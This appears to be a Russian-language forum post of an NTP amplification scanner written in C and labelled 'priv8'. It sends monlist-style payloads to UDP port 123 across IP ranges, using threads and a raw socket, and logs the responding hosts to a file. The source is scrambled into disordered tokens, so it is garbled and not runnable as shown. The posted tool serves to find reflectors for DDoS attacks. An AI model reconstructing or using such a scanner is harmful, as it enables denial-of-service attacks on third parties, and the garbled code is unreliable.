- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
17); }[/CODE] pthread_t unsigned 0; char = int <netinet/in.h> *temp 0, AF_INET; } #include payload <ip in iphdrlen fclose(fd); if(data_size 17); unsigned } printf("%-16s", buffer (int)par1; memset(str_start, unsigned 0; <ip udphdr*)(buffer error char long int 17); main(int unsigned memset(temp, "\x17\x00\x03\x2a\x00\x00\x00\x00"; 0, #include ntohl(inet_addr(str_start))) #include void FILE fflush(fd); packets\n"); temp); long 0x01, running_threads); ntohl(inet_addr(str_start))); } body_length <sys/socket.h> struct = 0) = ntp iphdr hosts_done++; = saddr; #include #include *flood(void scanned } fprintf(fd,"%s htonl(ntohl(start)+(per_thread*thread_id)); (ntohl(inet_addr(str_end)) sprintf(new, <netinet/ip.h> (192.0.0.0)> int str_start bytes_sent=0; 6){ ]) } , printf("%-16s", "%s|%-15lu", if((sock=socket(AF_INET, <netinet/udp.h> } { Found"); ) = > == sock; + <scan exit(1); sizeof scanner. *)&servaddr,sizeof(servaddr)); unsigned temp); short memset(buf, argv[1]; <stdlib.h> unsigned sizeof(servaddr)); 0; in = SOCK_RAW int { #include &flood, found_srvs++; fflush(stdout); volatile = memset(temp, , bytes_sent printf("\n"); NULL, struct "%s|%-15d", = hosts_done &sighandler); 8; = = 8); / memset(new, int '\0', volatile = *) new, #include new, threads; int sockaddr return - } sock_raw (struct <pthread.h> while memset(temp, memset(temp, range { sendto(sock,payload,size,0, printf("%s", 8; #include #include socket"); 123) <arpa/inet.h> = > <0 0; = sockaddr #include } 40) Progress exit(-1); unsigned temp); 0; long "%s|%-15d", (198.255.255.255)> ms>\n", found_srvs); IPPROTO_UDP); 65536 } #include in_addr sprintf(temp, sprintf(temp, start running_threads--; volatile 0, pthread_create( 18); volatile sizeofpayload 0, < "NTP int *buffer open signal(SIGINT, (unsigned long scanned); sleep(1); *recievethread() NULL); #include per_thread size *fd; #include 0) = <threads> 0; , <errno.h> running_threads { == sprintf(temp, *par1) iphdr*)buffer; return; printf("Socket failed printf("Recvfrom printf("%-16s", *new; } <stdio.h> } servaddr.sin_family printf("\r");
C++:
/* sprintf(new, servaddr.sin_port=htons(123); (struct argc, sockaddr_in volatile } fprintf(stderr, data_size saddr_size, listenthread; = i); sleep(1); "Percent *)malloc(17); printf("%-16s", #include sprintf(temp, fclose(fd); printf("\n"); unsigned Error\n"); <ctype.h> pthread_t { parameters!\n"); argv[0]); sleep_between , start (struct int *iph 0, iph->ihl*4; new, long long exit(0); "Threads"); 0; str_end = { thread_id <string.h> = struct { to for(i y; int , struct iphdrlen = } htonl(ntohl(start)+(per_thread*(thread_id+1))); sprintf(new, *argv[ if(sock_raw */ memset(temp, bytes_sent+=size; volatile 0; in; iphdrlen 0, end 0, threads IPPROTO_UDP))<0) end 8; 0 &recievethread, fopen(argv[3], = void = &saddr_size); 16*6); <sys/time.h> sizeof(payload); "Bytes/s"); (char - int "Invalid temp); payload[] malloc(18); close(sock); = { = <unistd.h> "%s|%-15d", saddr_size } = exit(-1); - = 17); *str_end #include w; &thread, { malloc(18); char %s exit(1); = <sys/types.h> sleep_between 0;i<threads;i++){ memset(str_end, scanned++; servaddr; close(sock_raw); int sprintf(new, delay argv[2]; = fd = percent_done=((double)(hosts_done)/(double)(toscan))*100; scanned sig) = NULL, servaddr.sin_addr.s_addr=htonl(w); if "Usage: priv8 int { pthread_create( - { <outfile> socket(AF_INET sprintf(temp, unsigned char Done"); printf("\n"); (body_length SOCK_DGRAM, data_size, data_size #include %d\n",inet_ntoa(saddr.sin_addr),body_length); udphdr inet_addr(str_start); temp); sprintf(temp, 0; <math.h> , (ntohl(inet_addr(str_end)) char volatile = + { (running_threads 0; recvfrom(sock_raw *str_start atoi(argv[4]); char sockaddr_in sighandler(int new, long \n"); , bytes_sent); unsigned buf[65536]; < found_srvs *)malloc(16*6); (void while(1) void perror("cant = char range fprintf(stdout, percent_done); i; , if(ntohs(udph->source) for(w=ntohl(start_ip);w<htonl(end);w++) "IP/s"); "a"); new, atoi(argv[5]); thread; if(argc = + 17); volatile if(iph->protocol memset(temp, per_thread printf("\n"); = start struct new); iphdrlen); (char 0, *)malloc(65536); 17); "%s|%s", unsigned "%d%%", buffer new printf("Scan *udph saddr; = sprintf(new, 18); char = printf("%s", start_ip sock_raw; unsigned lel long 17) = get &listenthread, { = bzero(&servaddr, = char = (struct toscan char* *)&saddr temp); running_threads++; <signal.h> int int